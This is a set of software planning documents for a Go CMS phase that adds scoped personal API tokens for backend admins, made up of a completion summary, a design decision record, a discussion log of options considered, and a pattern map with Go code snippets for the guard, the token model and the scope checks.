description: "Full Go coverage: bouncer, party, lagoon migration, guard, account API, CLI, Journal matrix"
requirement: SC-6
verification:
- kind: unit
ref: modules/cabana (16 Docker-free named tests)
status: pass
- kind: integration
ref: modules/lagoon + modules/cabana + sm-journal-plugin Postgres suites (3+4+3)
status: pass
human_judgment: false
- id: D3
description: "SPA UI-SPEC coverage, phase gate fail-closed, VALIDATION nyquist_compliant"
requirement: SC-6
verification:
- kind: automated_ui
ref: npm --prefix admin test (1251 passed)
status: pass
- kind: other
ref: bash scripts/check-phase16.3.sh --all → Phase 16.3 gate passed
status: pass
human_judgment: false
- id: D4
description: "Real-browser clipboard (Manual-Only in VALIDATION)"
verification: []
human_judgment: true
rationale: "Clipboard API permissions differ from happy-dom; kept as Manual-Only row"
duration: 30min
completed: 2026-10-11
status: complete
---
# Phase 16.3 Plan 04: Unit tests, Postgres suites and phase gate Summary
**Phase-ending coverage: every token security rule has a unit test, Docker Postgres suites are green, and `scripts/check-phase16.3.sh --all` ends with `Phase 16.3 gate passed`.**
## Performance
- **Duration:** ~30 min (executor wall clock for plan 04)
- **Started:** 2026-10-11T11:11:34Z
- **Completed:** 2026-10-11T11:41:20Z
- **Tasks:** 3
- **Files modified:** 16 across summercms.go + sm-journal-plugin
## Accomplishments
- Docker-free Go suite: 16 named cabana tests, bouncer Scope serialization, party Activate order; Journal `TestJournalTokenScopes` with `-short`.
- Postgres: lagoon migration (3), cabana account/CLI/guard/OpenAPI (4), Journal token matrix (3) — all PASS on this Docker host.
- Admin SPA: 33 account-token vitest cases; full suite 1251 passed; gate self-test and `--all` green; VALIDATION `nyquist_compliant: true`.
## Task Commits
Each task was committed atomically:
1. **Task 1: Tracer deny-by-default** — framework `91830e5`, Journal `7bbafcb` (`test(16.3-04)`)
2. **Task 2: Full Go coverage** — framework `78124ab`, Journal `58851dd` (`test(16.3-04)`); `TASK2_START=91830e5`
3. **Task 3: SPA + gate + VALIDATION** — SPA `55999b2`, gate `9b811f6` (`test(16.3): phase gate`), VALIDATION `4635415` (`docs(16.3)`)
**Plan metadata:** (this SUMMARY commit)
_Note: No `fix(...)` production commits were required; Journal create fixture needed `published_at` for public Show (test-only)._
## Test counts
| Repository | Notes |
|------------|--------|
| summercms.go | 16 Docker-free cabana named tests; + bouncer/party; Postgres lagoon 3 + cabana 4 |
| admin SPA | 14 panel + 19 dialog cases; full vitest 1251 |
| sm-journal-plugin | `TestJournalTokenScopes` (short); Postgres `TestJournalTokens` + tracer + expansion |
## Docker-host commands
```bash
bash scripts/check-phase16.3.sh --self-test
bash scripts/check-phase16.3.sh --all # postgres PASS here
# or, if NOT RUN postgres was printed:
bash scripts/check-phase16.3.sh postgres
```
## Decisions Made
- Public optional-auth Show asserts need `published_at` in the past alongside `published: true`.
- Gate reports NOT RUN postgres only without Docker; this run executed postgres.
## Deviations from Plan
None material — plan executed as written. Journal Show fixture clarified with `published_at` inside the test file (not a production fix).
## Issues Encountered
None.
## Next Phase Readiness
- Phase 16.3 plans 4/4 complete; ready for `/msd-verify-work` (and optional real-browser clipboard Manual-Only).
- No blockers.
## Self-Check: PASSED
- Acceptance greps for TestAccountTokens, TestTokenCommands, TestBackendAPITokensMigration, TestJournalTokens: one line each.
- Task 2 Docker-free count 16; Postgres 3/4/3; gate `--all` last line `Phase 16.3 gate passed`.
- VALIDATION: `nyquist_compliant: true`, zero TBD rows.

View File

@@ -0,0 +1,145 @@
# Phase 16.3: Backend admin personal API tokens with scopes - Context
**Gathered:** 2026-10-10
**Status:** Ready for planning
<domain>
## Phase Boundary
Backend users can create personal API tokens (`g15_…`) with one or more scopes picked at creation time. The framework `backend` guard accepts such a token as well as the admin JWT, and the request runs as the token's owner. Access is the intersection of the token's scopes and the owner's own permissions. Tokens are managed in the admin SPA (`/account`, own tokens) and through `summer admin:token:*` CLI commands (any user). The Journal plugin registers its scopes and accepts tokens on its write routes, so an agent can manage blog posts as a backend author.
Repos: `summercms.go` (cabana/bouncer guard, token model and migration, scope registry, account API, admin SPA panel, CLI, READMEs and docs); `sm-journal-plugin` (scope registration, switch to the framework principal helper); host applications only for the version bump.
Out of scope: a backend-user management screen, a superuser view of all tokens, migrating Apparatus tokens, Payment and Fonoteka scopes (they register through the same API when their phases need them).
</domain>
<decisions>
## Implementation Decisions
### Scope model
- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
- **D-04:** Framework scopes:
- `*` means full access: all methods, and it behaves exactly like the owner.
- `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
### Token lifecycle
- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
### Guard and Journal wiring
- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
### Admin SPA and CLI
- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
- **D-19:** CLI commands in cabana, beside `admin:create`:
- `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
- `admin:token:list [<login|email>] [--revoked]`
- `admin:token:revoke <id>`
- `admin:token:scopes` lists registered scopes.
The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
### Claude's Discretion
- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
- How `last_used_at` is debounced (in-memory per process is fine).
</decisions>
<canonical_refs>
## Canonical References
**Downstream agents MUST read these before planning or implementing.**
### Phase origin and prior decisions
- `.planning/ROADMAP.md` § Phase 16.3 — goal, repos, explore constraints, success criteria
- `.planning/todos/pending/backend-admin-api-tokens.md` — the todo this phase was promoted from
- `.planning/notes/apparatus-dissolved-into-framework.md` — why tokens are a framework feature, not an Apparatus port
- `.planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-CONTEXT.md` — D-01..D-04 (backend users, `backend` guard, permission semantics, `admin:create`), D-09/D-10 (admin API paths and envelope)
- `.planning/phases/15-journal-plugin/15-CONTEXT.md` — D-14/D-15 (Journal write API and the backend-JWT-only rule this phase reverses)
### Reference implementation (behavioral, not ported 1:1)
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/models/PersonalApiToken.php` — `g15_` + 40 hex, sha256 storage, expiry, last_used_at
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/middleware/TokenAuthenticate.php` — Bearer lookup, expiry, owner check
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/Plugin.php` (~lines 335-400) — My Account "API Tokens" tab and create/revoke handlers
### Pattern to copy (Go)
- `../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go` — `APITokenGuard`: prefix check, sha256 lookup, last_used stamp, `Scope()` middleware
- `../sm-summercmsio-app/plugins/golem15/user/classes/api_tokens.go` — `MintAPIToken`, `HashAPIToken`
- `../sm-summercmsio-app/plugins/golem15/user/models/api_token.go` — `HasScope`
- `../sm-summercmsio-app/plugins/golem15/user/updates/202610040001_create_api_tokens.go` — token table migration
</canonical_refs>
<code_context>
## Existing Code Insights
### Reusable Assets
- `modules/bouncer/guard.go`: `Guard`, `CredentialGuard`. `modules/bouncer/context.go`: `Principal` (`Backend`, `IsSuperuser`, `PermissionGrants`), `WithUser`, `WithCredential`.
- `modules/bouncer/jwt.go`: `NewBackendJWTGuard` (:94), `Authenticate` (:106), `bearerToken` (:314). The JWT path stays as-is behind the composite guard.
- `modules/cabana/auth.go`: `BackendUsers.FindByID` (:40) and `principalFrom` (:103). These are the owner-loading path, already merging role and user grants.
- `modules/cabana/contracts.go`: `Allows` (:186) and `requiredOf` (:237). This is where scope intersection lands (D-14).
- `modules/wristband/crypto.go:26-31`: `sha256Hex` and a constant-time compare.
- `modules/cabana/commands.go`: `admin:create` (:18) and `admin:reset-password` (:107). The new `admin:token:*` commands go beside them.
- `modules/cabana/account.go` plus `admin/src/views/AccountView.vue`: the existing account API and page that host the tokens panel.
### Established Patterns
- Plugin capabilities are optional pact interfaces compiled by cabana at boot (`modules/pact/capabilities.go:494` `HasPermissions`, compiled in `modules/cabana/registry.go:182-200`). `HasTokenScopes` follows the same path, including fail-loud validation.
- Framework-owned migrations are raw-SQL entries appended to `BackendAdminMigrations` (`modules/lagoon/backend_admin_migrations.go:21`).
- Admin API handlers carry swag annotations; SPA types are generated from OpenAPI.
- Permission checks happen in handlers, not in route middleware, which is why the scope check belongs in `Allows` and not in per-route annotations.
### Integration Points
- `modules/cabana/http.go:145-159`: where the `backend` guard is built and registered. The composite guard wraps it here.
- `modules/bouncer/registry.go:73-113`: `Registry.Middleware` already prefers `CredentialGuard`, so the token row arrives as the credential.
- `modules/cabana/http.go:245-249`: `/auth/me` and the `/account` routes. The token endpoints and the interactive-only marker go here.
- `../sm-journal-plugin/controllers/api/auth.go`: `newBackendGuard` (:58), `requireBackendPrincipal` (:99) and `requireAccessPosts` (:113) switch to the cabana resolver (D-15). `posts.go` Index/Show `optionalBackendPrincipal` (:32, :121) do the same.
- `../sm-journal-plugin/admin_permissions.go:9`: the permission catalog the `journal` scopes map onto.
### Noted during scouting (verify, don't assume)
- Journal `UploadFeaturedImage` / `DeleteFeaturedImage` (`posts.go:325, :393`) authenticate, but a permission check was not confirmed. Check it while wiring tokens, because a `journal:read` token must not reach them (the method rule covers this, but the permission gap would be a separate bug).
- Journal's per-user throttle key (`plugin.go:88`) reads `bouncer.User` before any guard runs and likely always falls back to the client IP.
</code_context>
<specifics>
## Specific Ideas
- Main use case: an agent manages Journal blog posts as a backend author using a `journal`-scoped token. Later, a reporting agent reads Payment Gateway data with `payment:read`.
- The token panel follows the Apparatus/Winter "My Account → API Tokens" placement.
- CLI `admin:token:create` output is pipe-friendly (only the token on stdout).
</specifics>
<deferred>
## Deferred Ideas
- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
- Fonoteka scopes: when a Fonoteka integration needs token access.
- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.
</deferred>
---
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
*Context gathered: 2026-10-10*

View File

@@ -0,0 +1,118 @@
# Phase 16.3: Backend admin personal API tokens with scopes - Discussion Log
> **Audit trail only.** Do not use as input to planning, research, or execution agents.
> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
**Date:** 2026-10-10
**Phase:** 16.3-backend-admin-personal-api-tokens-with-scopes
**Areas discussed:** Scope model, Token lifecycle, Guard & Journal wiring, SPA panel & CLI
---
## Scope model
| Option | Description | Selected |
|--------|-------------|----------|
| Named scopes, plugin-registered | Plugins register scopes mapping to permission patterns; framework `*` | ✓ |
| Scope = permission patterns | Token stores raw permission patterns | |
| Coarse fixed set | read/write/* like user plugin tokens | |
| Option | Description | Selected |
|--------|-------------|----------|
| Scope declares methods + patterns | Read scopes allow GET/HEAD only, enforced before handler | ✓ |
| Read-only permission subset | Read scope maps to view-type permissions | |
| Both | Methods and permission subset | |
| Option | Description | Selected |
|--------|-------------|----------|
| Several | Token stores a list; any scope allowing passes | ✓ |
| Exactly one | One scope per token | |
| Option | Description | Selected |
|--------|-------------|----------|
| Deny by default, except whoami | Only `/auth/me` open; account/token routes need interactive JWT even with `*` | ✓ |
| `*` reaches everything | System-wide token can change account and mint tokens | |
| Allow unchecked routes | Unguarded routes open to any token | |
## Token lifecycle
| Option | Description | Selected |
|--------|-------------|----------|
| Optional, presets | 30/90/365/never, default 90 days | ✓ |
| Required, capped | Must expire, max 1 year | |
| Optional, no default | Apparatus as-is | |
| Option | Description | Selected |
|--------|-------------|----------|
| Owner deactivated or deleted | Password reset / tokens_valid_after do not kill tokens | ✓ |
| Also on password reset / session cutoff | Tokens respect tokens_valid_after | |
| Option | Description | Selected |
|--------|-------------|----------|
| Soft revoke, immutable | revoked_at kept for audit; no edits | ✓ |
| Hard delete, immutable | Apparatus behavior | |
| Soft revoke, editable name/expiry | Rename and extend allowed | |
| Option | Description | Selected |
|--------|-------------|----------|
| Keep Apparatus shape + hint | g15_ + 40 hex, sha256, last-4 hint | ✓ |
| Add checksum | GitHub-style base62 + CRC32 | |
## Guard & Journal wiring
| Option | Description | Selected |
|--------|-------------|----------|
| Bearer header only | Composite guard; g15_ to token lookup, rest to JWT | ✓ |
| Bearer + query param | Also ?token= | |
| Option | Description | Selected |
|--------|-------------|----------|
| Framework helper, keep Journal's envelope | cabana resolver replaces Journal's hand-built guard | ✓ |
| Mount Journal writes under backend middleware | Changes Journal error shape | |
| Option | Description | Selected |
|--------|-------------|----------|
| Inside the principal / cabana.Allows | Allows intersects owner grants and scope patterns | ✓ |
| Route middleware per scope | Routes declare RequireScope | |
| Option | Description | Selected |
|--------|-------------|----------|
| `*` passes, scoped tokens denied | Empty permission list denied to scoped tokens; interactive-only marker | ✓ |
| Scoped tokens pass too | Current Allows semantics | |
## SPA panel & CLI
| Option | Description | Selected |
|--------|-------------|----------|
| /account only, own tokens | Superusers use CLI for others | ✓ |
| /account + superuser view | New admin screen | |
| Option | Description | Selected |
|--------|-------------|----------|
| Only scopes their permissions intersect | Hide useless scopes; `*` always shown; server re-checks | ✓ |
| All registered scopes | Simpler | |
| Option | Description | Selected |
|--------|-------------|----------|
| admin:token:create/list/revoke (+scopes) | Plaintext to stdout once | ✓ |
| Fewer commands | create and revoke only | |
| Option | Description | Selected |
|--------|-------------|----------|
| `*`, journal, journal:read | payment:read later | |
| Also a framework `admin:read` | System-wide read-only scope | ✓ |
## Claude's Discretion
- Names of the capability, scope struct, resolver, table and interactive-only marker
- Scope storage type and unknown-scope behavior
- Scope-refusal 403 details
- Token throttle bucket
- last_used_at debounce mechanism
## Deferred Ideas
- Backend-user management screen with superuser token view
- payment:read scope (Payment Gateway phase)
- Fonoteka scopes
- Checksum token format

View File

@@ -0,0 +1,468 @@
# Phase 16.3: Backend admin personal API tokens with scopes - Pattern Map
**Mapped:** 2026-10-11
**Files analyzed:** 22 (new + modified, across summercms.go and ../sm-journal-plugin)
**Analogs found:** 21 / 22
All analog paths are git-tracked source (user plugin analogs verified with `git ls-files` inside the `sm-user-plugin` submodule of `../sm-summercmsio-app`).
## File Classification
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|---|---|---|---|---|
| `modules/pact/capabilities.go` (+ `TokenScope`, `HasTokenScopes`) | contract/interface | config | `modules/pact/capabilities.go` `Permission`/`HasPermissions` (~:495-506) | exact |
| `modules/bouncer/context.go` (+ `ScopeLimit`, `Principal.Scope`) | model (context value) | request-response | existing `Principal` fields `Backend`/`IsSuperuser`/`PermissionGrants` (`json:"-"`) | exact |
| `modules/lagoon/backend_admin_migrations.go` (+ token table) | migration | batch/DDL | same file, entry `202610090001_backend_users_metadata` (:121-132) | exact |
| `modules/lagoon/backend_admin_migrations_test.go` (fix last-ID test) | test | — | `TestBackendAdminMetadataColumn` (:561-575) | exact |
| `modules/cabana/api_tokens.go` (model, mint, hash, revoke, debounce) | model/service | CRUD | `sm-user-plugin/classes/api_tokens.go` + `models/api_token.go` | exact |
| `modules/cabana/token_scopes.go` (compile, cover, overlap) | service | transform | `modules/cabana/registry.go` `compileContributions` (:169-200), `validatePermissions` (:301-308) | role-match |
| `modules/cabana/token_guard.go` (composite guard, resolver) | middleware/guard | request-response | `sm-user-plugin/middleware/api_token.go` `APITokenGuard` | exact |
| `modules/cabana/contracts.go` (`Allows` rewrite) | utility | transform | itself (:186-235) | exact |
| `modules/cabana/csrf.go` or `token_guard.go` (`interactiveOnly`) | middleware (route wrapper) | request-response | `requireAjax` (csrf.go:22-30) | exact |
| `modules/cabana/account_tokens.go` (4 endpoints) | controller | CRUD | `modules/cabana/account.go` (`accountUpdate` :289, `accountPrincipal` :216, `writeAccountError` :495) | exact |
| `modules/cabana/http.go` (guard registration :145-160, mount :243-260, Publish resolver) | config/route | request-response | itself | exact |
| `modules/cabana/admin_openapi.go` (swag stubs) | config (docs) | — | `AdminAccountUpdate` / `AdminMe` stubs (:190-218) | exact |
| `modules/cabana/commands.go` (`admin:token:*`) | command | CRUD | `admin:create` / `admin:reset-password` (:18-50, :52-104) | exact |
| `modules/party/registry.go` (publish activated plugins, Option A) | config | — | `app.SetPlugins(orderedIDs)` (:107) + `app.Publish(guards)` in cabana http.go:139 | role-match |
| `cmd/summer/runtime.go` (delegate rows) | config | — | rows for `admin:create`, `admin:reset-password` (:37-38) | exact |
| `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` (`api_tokens:` block) | config (i18n) | — | existing `myaccount:` block | exact |
| `admin/src/components/account/ApiTokensPanel.vue` (+ `ApiTokenCreateDialog.vue`) | component | request-response | `admin/src/views/AccountView.vue` + `admin/src/components/relation/RelationPickerModal.vue` | role-match |
| `admin/src/views/AccountView.vue` (render panel) | component | — | itself (:247 section, :411 ConfirmDialog) | exact |
| `admin/src/components/ui/ConfirmDialog.vue` (`[overflow-wrap:anywhere]`) | component | — | itself | exact |
| `../sm-journal-plugin/token_scopes.go` | config (capability impl) | — | `../sm-journal-plugin/admin_permissions.go` | exact |
| `../sm-journal-plugin/controllers/api/auth.go` (resolver switch) | middleware helper | request-response | itself (:58-111) | exact |
| Tests: `modules/cabana/token_*_test.go`, `account_tokens_test.go`, `commands_test.go`, `admin/tests/components/ApiTokensPanel.test.ts`, journal `journal_api_tokens_test.go`, `scripts/check-phase16.3.sh` | test | — | `commands_test.go` (`TestAdminCreateCommand` :24), `auth_test.go` `adminHandler` (:367), `admin/tests/views/AccountView.test.ts`, `admin/tests/relation/RelationPickerModal.test.ts`, `scripts/check-phase16.2.sh` | exact |
| docs pages / READMEs (cabana, bouncer, pact, party, journal) | docs | — | existing module READMEs; `docs/services/authentication.md`, `docs/console/introduction.md` | role-match |
## Pattern Assignments
### `modules/cabana/token_guard.go` (guard, request-response)
**Analog:** `../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go` (tracked in sm-user-plugin submodule)
Interface assertions + struct (lines 21-33):
```go
type APITokenGuard struct {
App *backpack.App
DB func() *gorm.DB
Prefix string
ClientIP func(*http.Request) string
}
var (
_ bouncer.CredentialGuard = (*APITokenGuard)(nil)
_ bouncer.UnauthorizedWriter = (*APITokenGuard)(nil)
)
```
Core lookup (lines 35-80) — copy shape, but: route by `g15_` prefix and delegate non-token requests to the wrapped `NewBackendJWTGuard.Authenticate(r)`; validate `^g15_[0-9a-f]{40}$` before DB; add `revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now())`; owner via `lazyBackendUsers.FindByID`; **do not fail auth when the last_used write fails** (analog does — anti-pattern, research §Anti-Patterns):
```go
secret := BearerToken(r)
if secret == "" || !strings.HasPrefix(secret, prefix) {
return nil, nil, errInvalidAPIToken
}
...
db = db.WithContext(r.Context())
var token models.APIToken
result := db.Where("token_hash = ?", classes.HashAPIToken(secret)).Limit(1).Find(&token)
now := time.Now()
if result.Error != nil || result.RowsAffected == 0 || !token.IsUsableAt(now) {
return nil, nil, errInvalidAPIToken
}
principal, err := classes.PrincipalByID(r.Context(), db, token.UserID)
...
return principal, &token, nil
```
WriteUnauthorized (lines 84-86) — cabana version switches on `errors.As(err, *ScopeError)` → 403 `WriteErrorDetails(..., "forbidden", ..., {"reason":"token_scope"})`, else existing `writeUnauthenticated` 401 envelope:
```go
func (g *APITokenGuard) WriteUnauthorized(w http.ResponseWriter, _ error) {
wire.WriteJSON(w, http.StatusUnauthorized, map[string]any{"error": true, "message": "Invalid token."})
}
```
Bearer extraction (lines 119-129):
```go
func BearerToken(r *http.Request) string {
if r == nil { return "" }
token, ok := strings.CutPrefix(strings.TrimSpace(r.Header.Get("Authorization")), "Bearer ")
if !ok { return "" }
return strings.TrimSpace(token)
}
```
(cabana already has `bouncer/jwt.go` `bearerToken` :314 — export it or keep a local copy.)
Credential consumption pattern for `interactiveOnly` (analog `Scope` middleware, lines 89-102):
```go
credential, _ := bouncer.Credential(r.Context())
token, ok := credential.(*models.APIToken)
if !ok || token == nil || !token.HasScope(scope) { ... 403 ... }
```
**Registration point** — `modules/cabana/http.go` lines 145-160 (replace `guard` with the composite wrapping it):
```go
bl := adminBlacklist(app)
users := lazyBackendUsers{app: app, reg: reg}
guard := bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)
if owner, taken := guards.Owner("backend"); !taken {
if err := guards.Register("summercms.cabana", "backend", guard); err != nil {
return nil, fmt.Errorf("cabana: backend guard: %w", err)
}
} else if owner != "summercms.cabana" { ... }
```
Publish the resolver next to `app.Publish(guards)` (http.go ~:139) — same idiom.
---
### `modules/cabana/api_tokens.go` (model/service, CRUD)
**Analogs:** `sm-user-plugin/classes/api_tokens.go`, `sm-user-plugin/models/api_token.go`
Model (models/api_token.go :11-27) — copy tag style; table `backend_api_tokens`, field `BackendUserID`, add `TokenHint`, `RevokedBy *uint`; `Scopes lagoon.Jsonable[[]string]`:
```go
type APIToken struct {
ID uint `gorm:"column:id;primaryKey"`
UserID uint `gorm:"column:user_id"`
Name *string `gorm:"column:name"`
TokenHash string `gorm:"column:token_hash" json:"-"`
Scopes lagoon.Jsonable[[]string] `gorm:"column:scopes"`
ExpiresAt *time.Time `gorm:"column:expires_at"`
RevokedAt *time.Time `gorm:"column:revoked_at"`
LastUsedAt *time.Time `gorm:"column:last_used_at"`
CreatedAt time.Time `gorm:"column:created_at"`
UpdatedAt time.Time `gorm:"column:updated_at"`
}
func (APIToken) TableName() string { return "user_api_tokens" }
```
Mint / hash / revoke (classes/api_tokens.go :47-112) — keep name trim + dedupe scopes; change secret to `g15_` + `hex(20 bytes)` (RESEARCH "Mint and hash"), name max 100:
```go
name = strings.TrimSpace(name)
...
seenScopes := make(map[string]bool, len(scopes)) // dedupe, keep order
...
token := &models.APIToken{
UserID: userID, Name: &name, TokenHash: HashAPIToken(secret),
Scopes: lagoon.Jsonable[[]string]{Data: scopes, Valid: true}, ExpiresAt: expiresAt,
}
func HashAPIToken(secret string) string {
sum := sha256.Sum256([]byte(secret))
return hex.EncodeToString(sum[:])
}
func RevokeAPIToken(db *gorm.DB, token *models.APIToken) error {
now := time.Now()
if err := db.Model(token).Update("revoked_at", now).Error; err != nil { return err }
token.RevokedAt = &now
return nil
}
```
Constant-time compare: `modules/wristband/crypto.go:26-31`. Debounced stamp: RESEARCH "Debounced last_used_at" (sync.Map + conditional UPDATE, log on error via `slog.Default().WarnContext`).
---
### `modules/pact/capabilities.go` (+ `TokenScope`, `HasTokenScopes`)
**Analog:** same file (~:495-506):
```go
// Permission is one registerPermissions() entry.
type Permission struct {
Code string
Tab string
Label string
Roles []string
}
// HasPermissions is implemented by plugins that declare backend permissions.
type HasPermissions interface {
Permissions() []Permission
}
```
Add `TokenScope{Name, Label, Description, Permissions, Methods}` + `HasTokenScopes{ TokenScopes() []TokenScope }` with the same one-line doc-comment style; optional `TokenReadMethods = []string{"GET","HEAD"}`.
---
### `modules/cabana/token_scopes.go` (compile + cover, transform)
**Analog:** `modules/cabana/registry.go` `compileContributions` (:169-200) — capability type-assert loop, fail-loud duplicate:
```go
for _, plugin := range plugins {
if plugin == nil { continue }
if src, ok := plugin.(pact.HasPermissions); ok && src != nil {
for _, permission := range src.Permissions() {
if !permissionCode(permission.Code, false) {
return fmt.Errorf("cabana: plugin %s registered invalid permission %q", plugin.ID(), permission.Code)
}
if _, exists := reg.permissions[permission.Code]; exists {
return fmt.Errorf("cabana: duplicate permission %s", permission.Code)
}
...
```
Validation reuse (:301-308):
```go
func (r *Registry) validatePermissions(owner string, permissions []string) error {
for _, code := range permissions {
if !permissionCode(code, true) || !r.permissionExists(code) {
return fmt.Errorf("cabana: %s references unknown permission %s", owner, code)
}
}
return nil
}
```
Phrase-key existence: follow `validateMessageKeys` (messages.go:322-326), called from http.go ~:131 when a `*phrasebook.Translator` is published. Write `scopeCovers` fresh — do NOT reuse `granted()` (contracts.go:203-235), see RESEARCH Pattern 2.
---
### `modules/cabana/contracts.go` (`Allows`)
**Analog:** itself (:186-199); target shape in RESEARCH Pattern 2 (scope evaluated before the `IsSuperuser` short-circuit).
---
### `interactiveOnly` route wrapper
**Analog:** `modules/cabana/csrf.go:22-30`:
```go
func requireAjax(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if !csrfSafe(r) {
WriteError(w, http.StatusForbidden, "forbidden", msgForbidden)
return
}
next(w, r)
}
}
```
Apply in `mount` (http.go :243-249) composed as `interactiveOnly(requireAjax(s.accountUpdate))`:
```go
r.GroupRaw(api, []string{"backend"}, func(g pact.Router) {
g.Get("/auth/me", s.me)
g.Put("/account", requireAjax(s.accountUpdate))
g.Post("/account/avatar", requireAjax(s.avatarUpload))
g.Delete("/account/avatar", requireAjax(s.avatarRemove))
g.Get("/navigation", s.navigation)
g.Get("/field-types", s.fieldTypesList) // needs explicit token gate (Pitfall 2)
